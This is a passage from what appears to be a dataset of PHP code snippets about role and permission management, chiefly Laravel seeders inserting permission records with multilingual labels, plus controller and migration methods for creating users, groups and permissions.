'2020-08-10 13:25:31',\n 'updated_at' => '2020-08-12 12:30:58',\n 'deleted_at' => NULL,\n ),\n 2 =>\n array (\n 'id' => 3,\n 'permission' => 'user_edit',\n 'permission_display' => 'Benutzer ändern',\n 'group_id' => 1,\n 'crud' => 'edit',\n 'created_at' => '2020-08-10 13:25:31',\n 'updated_at' => '2020-08-12 12:30:58',\n 'deleted_at' => NULL,\n ),\n 3 =>\n array (\n 'id' => 4,\n 'permission' => 'user_delete',\n 'permission_display' => 'Benutzer delete',\n 'group_id' => 1,\n 'crud' => 'delete',\n 'created_at' => '2020-08-10 13:25:31',\n 'updated_at' => '2020-08-12 12:30:58',\n 'deleted_at' => NULL,\n ),\n 4 =>\n array (\n 'id' => 5,\n 'permission' => 'role_create',\n 'permission_display' => 'Rollen erstellen',\n 'group_id' => 2,\n 'crud' => 'create',\n 'created_at' => '2020-08-12 12:31:35',\n 'updated_at' => '2020-08-12 12:31:35',\n 'deleted_at' => NULL,\n ),\n 5 =>\n array (\n 'id' => 6,\n 'permission' => 'role_read',\n 'permission_display' => 'Rollen lesen',\n 'group_id' => 2,\n 'crud' => 'read',\n 'created_at' => '2020-08-12 12:31:35',\n 'updated_at' => '2020-08-12 12:31:35',\n 'deleted_at' => NULL,\n ),\n 6 =>\n array (\n 'id' => 7,\n 'permission' => 'role_edit',\n 'permission_display' => 'Rollen ändern',\n 'group_id' => 2,\n 'crud' => 'edit',\n 'created_at' => '2020-08-12 12:31:35',\n 'updated_at' => '2020-08-12 12:31:35',\n 'deleted_at' => NULL,\n ),\n 7 =>\n array (\n 'id' => 8,\n 'permission' => 'role_delete',\n 'permission_display' => 'Rollen delete',\n 'group_id' => 2,\n 'crud' => 'delete',\n 'created_at' => '2020-08-12 12:31:35',\n 'updated_at' => '2020-08-12 12:31:35',\n 'deleted_at' => NULL,\n ),\n 8 =>\n array (\n 'id' => 9,\n 'permission' => 'permission_create',\n 'permission_display' => 'Rechte erstellen',\n 'group_id' => 3,\n 'crud' => 'create',\n 'created_at' => '2020-08-12 12:32:06',\n 'updated_at' => '2020-08-12 12:32:06',\n 'deleted_at' => NULL,\n ),\n 9 =>\n array (\n 'id' => 10,\n 'permission' => 'permission_read',\n 'permission_display' => 'Rechte lesen',\n 'group_id' => 3,\n 'crud' => 'read',\n 'created_at' => '2020-08-12 12:32:06',\n 'updated_at' => '2020-08-12 12:32:06',\n 'deleted_at' => NULL,\n ),\n 10 =>\n array (\n 'id' => 11,\n 'permission' => 'permission_edit',\n 'permission_display' => 'Rechte ändern',\n 'group_id' => 3,\n 'crud' => 'edit',\n 'created_at' => '2020-08-12 12:32:06',\n 'updated_at' => '2020-08-12 12:32:06',\n 'deleted_at' => NULL,\n ),\n 11 =>\n array (\n 'id' => 12,\n 'permission' => 'permission_delete',\n 'permission_display' => 'Rechte delete',\n 'group_id' => 3,\n 'crud' => 'delete',\n 'created_at' => '2020-08-12 12:32:06',\n 'updated_at' => '2020-08-12 12:32:06',\n 'deleted_at' => NULL,\n ),\n ));\n\n\n }", "public function create(LevelRequest $request) {\n $level = Level::create([\n 'type' => $request->type,\n 'can_view' => implode(',', json_decode($request->can_view))\n ]);\n return $this->response($level, 'create');\n }", "public function postUp()\n {\n $dbh = Doctrine_Manager::getInstance()->getCurrentConnection()->getDbh();\n $result = $dbh->query(\"SELECT * FROM ull_permission WHERE slug='ull_orgchart_list'\");\n \n if (!$result->fetch(PDO::FETCH_ASSOC)){\n $dbh = Doctrine_Manager::getInstance()->getCurrentConnection()->getDbh();\n $result = $dbh->query(\"SELECT id FROM ull_entity WHERE type='group' AND display_name = 'Everyone'\");\n $row = $result->fetch(PDO::FETCH_ASSOC);\n \n $p = new UllPermission;\n $p->slug = 'ull_orgchart_list';\n $p->namespace = 'ull_orgchart';\n $p->save(); \n \n $gp = new UllGroupPermission;\n $gp->ull_group_id = $row['id'];\n $gp->UllPermission = $p;\n $gp->namespace = 'ull_orgchart';\n $gp->save(); \n }\n }", "public function run()\n {\n $p=Permission::create([\n 'slug'=>'admin_access',\n 'label' => 'Acceso usuario administrador',\n 'created_at' => '2018-10-29 00:00:00',\n \t\t 'updated_at' => '2018-10-29 00:00:00'\n ]);\n $p->roles()->sync(['1']);\n $p=Permission::create([\n 'slug'=>'manage_users',\n 'label' => 'Gestión de usuarios',\n 'created_at' => '2018-10-29 00:00:00',\n \t\t 'updated_at' => '2018-10-29 00:00:00'\n ]);\n $p->roles()->sync(['1']);\n \t $p=Permission::create([\n 'slug'=>'student_access',\n 'label' => 'Acceso usuario estudiante',\n 'created_at' => '2018-10-29 00:00:00',\n \t\t 'updated_at' => '2018-10-29 00:00:00'\n ]);\n $p->roles()->sync(['2']);\n $p=Permission::create([\n 'slug'=>'parent_access',\n 'label' => 'Acceso usuario padre',\n 'created_at' => '2018-10-29 00:00:00',\n \t\t 'updated_at' => '2018-10-29 00:00:00'\n ]);\n $p->roles()->sync(['3']);\n\n\n\n //factory(Permission::class)->times(20)->create();\n }", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function permissions();", "public function actionCreate()\n {\n $model = new Permission();\n\n if ($model->load(Yii::$app->request->post())) {\n $this->_saveRecord($model, 'permission_id');\n }\n\n return $this->render(ACTION_CREATE, [MODEL => $model, 'titleView' => 'Create']);\n }", "public function run()\n\t{\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n\t\t\\DB::table('permissions')->truncate();\n\n\t\t\\DB::table('permissions')->insert(array (\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'manage_account',\n\t\t\t\t'permission_name' => 'Manage account',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 1,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'view_account',\n\t\t\t\t'permission_name' => 'View User',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 1,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'create_account',\n\t\t\t\t'permission_name' => 'Create user',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 1,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_account',\n\t\t\t\t'permission_name' => 'Edit user',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 1,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_user_detail',\n\t\t\t\t'permission_name' => '社員詳細情報の編集',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 1,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'delete_account',\n\t\t\t\t'permission_name' => 'Delete User',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 1,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'manage_department',\n\t\t\t\t'permission_name' => 'Manage department',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 2,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'view_department',\n\t\t\t\t'permission_name' => 'View Department',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 2,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'create_department',\n\t\t\t\t'permission_name' => 'Create Department',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 2,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_department',\n\t\t\t\t'permission_name' => 'Edit Department',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 2,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'delete_department',\n\t\t\t\t'permission_name' => 'Delete Department',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 2,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t), \n\t\t\tarray (\n\t\t\t\t'permission_id' => 'manage_salary',\n\t\t\t\t'permission_name' => 'Manage Salary',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 3,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'password_salary',\n\t\t\t\t'permission_name' => 'Password Salary',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 3,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\t\t\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'view_salary',\n\t\t\t\t'permission_name' => 'View Salary',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 3,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\t\t\t\n\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_salary',\n\t\t\t\t'permission_name' => 'Edit Salary',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 3,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'view_permission',\n\t\t\t\t'permission_name' => 'View User Permission',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 4,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_permission',\n\t\t\t\t'permission_name' => 'Edit User Permission',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 4,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\t\t\t\n\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'manage_permission',\n\t\t\t\t'permission_name' => 'Permission Manage',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 5,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'manage_vacation',\n\t\t\t\t'permission_name' => 'Manage vacation',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 6,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'view_vacation',\n\t\t\t\t'permission_name' => 'View user vacation',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 6,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\t\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_vacation',\n\t\t\t\t'permission_name' => 'Edit user vacation',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 6,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'create_vacation',\n\t\t\t\t'permission_name' => 'Apply vacation',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 6,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_sales_department',\n\t\t\t\t'permission_name' => '売上管理用 部署の編集',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 8,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'view_cost',\n\t\t\t\t'permission_name' => '経費と利益率の閲覧',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 8,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_cost',\n\t\t\t\t'permission_name' => '経費の登録',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 8,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t\tarray (\n\t\t\t\t'permission_id' => 'edit_sales',\n\t\t\t\t'permission_name' => '売上の追加・編集',\n\t\t\t\t'permission_description' => '',\n\t\t\t\t'permission_type_id' => 8,\n\t\t\t\t'created_at' => new DateTime,\n\t\t\t\t'updated_at' => new DateTime,\n\t\t\t),\n\t\t));\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS=1;');\n\t}", "function role_add_permission($role_id, $permission_id, $allow = 1) {\n\t\t$this->db->insert('system_security.security_role_permission', array('role_id' => $role_id, 'permission_id' => $permission_id, 'allow_deny' => $allow));\n\t\treturn $this->db->insert_id();\n\t}", "public function store(StoreRequest $request)\n{\n $AgentPermission=Permission::where('name','like','%Order%')->get();\n\n $user = User::create([\n 'name' => $request->name,\n 'email' => $request->email,\n 'password'=>Hash::make($request->password),\n 'password_confirmation'=>Hash::make($request->password_confirmation),\n 'mobile'=>$request->mobile,\n 'work'=>$request->work,\n 'is_agent'=>'1'\n ]);\n\n $user->assignRole([3]);\n\n foreach($AgentPermission as $a)\n {\n $user->givePermissionTo($a->id);\n\n }\n\n return $user;\n}", "public function run()\n {\n \\DB::table('permissions')->delete();\n\n \\DB::table('permissions')->insert(array (\n 0 =>\n array (\n 'id' => 1,\n 'group_id' => 1,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'الإعدادات',\n 'name' => 'dashboard.view',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 0,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 1 =>\n array (\n 'id' => 2,\n 'group_id' => 2,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'المستخدمين',\n 'name' => 'users.view',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 0,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 2 =>\n array (\n 'id' => 3,\n 'group_id' => 1,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'إضافة مستخدم',\n 'name' => 'users.add',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 2,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 3 =>\n array (\n 'id' => 4,\n 'group_id' => 2,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تعديل مستخدم',\n 'name' => 'users.edit',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 2,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 4 =>\n array (\n 'id' => 5,\n 'group_id' => 3,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تعديل كلمة المرور',\n 'name' => 'users.password',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 2,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 5 =>\n array (\n 'id' => 6,\n 'group_id' => 4,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'حذف المستخدمين',\n 'name' => 'users.delete',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 2,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 6 =>\n array (\n 'id' => 7,\n 'group_id' => 3,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'المجموعات',\n 'name' => 'roles.view',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 0,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 7 =>\n array (\n 'id' => 8,\n 'group_id' => 1,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'إضافة مجموعة',\n 'name' => 'roles.add',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 7,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 8 =>\n array (\n 'id' => 9,\n 'group_id' => 2,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تعديل مجموعة',\n 'name' => 'roles.edit',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 7,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 9 =>\n array (\n 'id' => 10,\n 'group_id' => 3,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'حذف مجموعة',\n 'name' => 'roles.delete',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 7,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 10 =>\n array (\n 'id' => 11,\n 'group_id' => 4,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تعديل حالة مجموعة',\n 'name' => 'roles.status',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 7,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 11 =>\n array (\n 'id' => 12,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'صلاحيات المجموعة',\n 'name' => 'roles.permissions',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 7,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 12 =>\n array (\n 'id' => 13,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'صلاحيات المستخدم',\n 'name' => 'users.permissions',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 2,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n\n 13 =>\n array (\n 'id' => 14,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => ' أنواع الدعاوي القضائية',\n 'name' => 'types.index',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 0,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 14 =>\n array (\n 'id' => 15,\n 'group_id' => 1,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'إضافة نوع دعوى قضائية',\n 'name' => 'types.create',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 14,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 15 =>\n array (\n 'id' => 16,\n 'group_id' => 2,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تعديل نوع دعوى قضائية',\n 'name' => 'types.edit',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 14,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 16 =>\n array (\n 'id' => 17,\n 'group_id' => 3,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'حذف نوع دعوى قضائية',\n 'name' => 'types.destroy',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 14,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 17 =>\n array (\n 'id' => 18,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'المحاكم القضائية',\n 'name' => 'courts.index',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 0,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 18 =>\n array (\n 'id' => 19,\n 'group_id' => 1,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => ' إضافة محكمة قضائية',\n 'name' => 'courts.create',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 18,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 19 =>\n array (\n 'id' => 20,\n 'group_id' => 2,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => ' تعديل محكمة قضائية',\n 'name' => 'courts.edit',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 18,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 20 =>\n array (\n 'id' => 21,\n 'group_id' => 3,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => ' حذف محكمة قضائية',\n 'name' => 'courts.destroy',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 18,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 21 =>\n array (\n 'id' => 22,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'الدعاوي القضائية',\n 'name' => 'lawsuits.view',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 0,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 22 =>\n array (\n 'id' => 23,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'إضافة دعوة قضائية',\n 'name' => 'lawsuits.add',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 1,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 23 =>\n array (\n 'id' => 24,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تعديل دعوة قضائية',\n 'name' => 'lawsuits.edit',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 24 =>\n array (\n 'id' => 25,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'حذف دعوة قضائية',\n 'name' => 'lawsuits.delete',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 25 =>\n array (\n 'id' => 26,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تفاصيل دعوة قضائية',\n 'name' => 'lawsuits.show',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n 26 =>\n array (\n 'id' => 27,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'أرشفة دعوة قضائية',\n 'name' => 'lawsuits.archive',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 27 =>\n array (\n 'id' => 28,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'إضافة درجة تقاضي',\n 'name' => 'logs.add',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 28 =>\n array (\n 'id' => 29,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'تعديل درجة تقاضي',\n 'name' => 'logs.edit',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 29 =>\n array (\n 'id' => 30,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'عرض درجة تقاضي',\n 'name' => 'logs.show',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n 30 =>\n array (\n 'id' => 31,\n 'group_id' => 5,\n 'url' => '',\n 'controller' => '',\n 'action' => '',\n 'title' => 'حذف درجة تقاضي',\n 'name' => 'logs.delete',\n 'description' => '',\n 'guard_name' => 'admin',\n 'icon' => 'home',\n 'parent_id' => 22,\n 'sort' => 0,\n 'show_in_menu' => 0,\n 'has_link' => 1,\n 'created_at' => NULL,\n 'updated_at' => NULL,\n ),\n\n\n\n\n ));\n\n }", "public function created(Permission $permission)\n {\n //\n }", "public function run()\n {\n $permission = Permission::create([\n 'name' => 'administrador'\n ]);\n\n $permission = Permission::create([\n 'name' => 'cliente'\n ]);\n }", "public function create()\n\t{\n\t\t$userGroupId = $this->data('name', $this->request->post('name'))->insert($this->table)->lastId();\n\n\t\t// Remove any empty value in the array\n\t\t$pages = array_filter($this->request->post('pages'));\n\n\t\tforeach ($pages as $page) {\n\t\t\t$this->data([\n\t\t\t\t'user_groups_id' => $userGroupId,\n\t\t\t\t'page' => $page,\n\t\t\t])->insert('users_permissions');\n\t\t}\n\t}", "public function create()\n {\n $this->authorize('create', Status::class);\n }", "function set_can_create_list ($permission)\r\n {\r\n $_SESSION[\"can_create_list\"] = $permission;\r\n }", "public function create() {\n \t\t\t\n\t\t\t$user = PlatformUser::instanceBySession();\n \n $dao = new DB(DB_NAME);\n if($dao->transaction()) {\n try {\n $permissionSetIds = $this->receiver[\"permissions\"];\n $permissions = $this->getPermissionsByPermissionSetIds( $permissionSetIds, $dao );\n\n $attributes = array(\n \"name\" => $this->receiver[\"name\"],\n \"parent_group_id\" => $this->rootGroupId\n );\n $groups = new PlatformUserGroupCollection($dao);\n $groups->setActor($user);\n // $group = $groups->create($attributes);\n // $group = $groups->create($attributes)->with('permission', $permissions);\n $group = $groups->createWithPermission($attributes, $permissions);\n\n $groupId = $group->getId();\n $PlatformUserGroupHasPermissionSet = new PlatformUserGroupHasPermissionSetCollection($dao);\n $effectRows = $PlatformUserGroupHasPermissionSet->append($groupId, $permissionSetIds);\n if( $effectRows!=count($permissionSetIds) ){\n throw new Exception(\"Append Permission set ids into PlatformUserGroup was error effectRows\", 1);\n }\n $permissionSetIds = 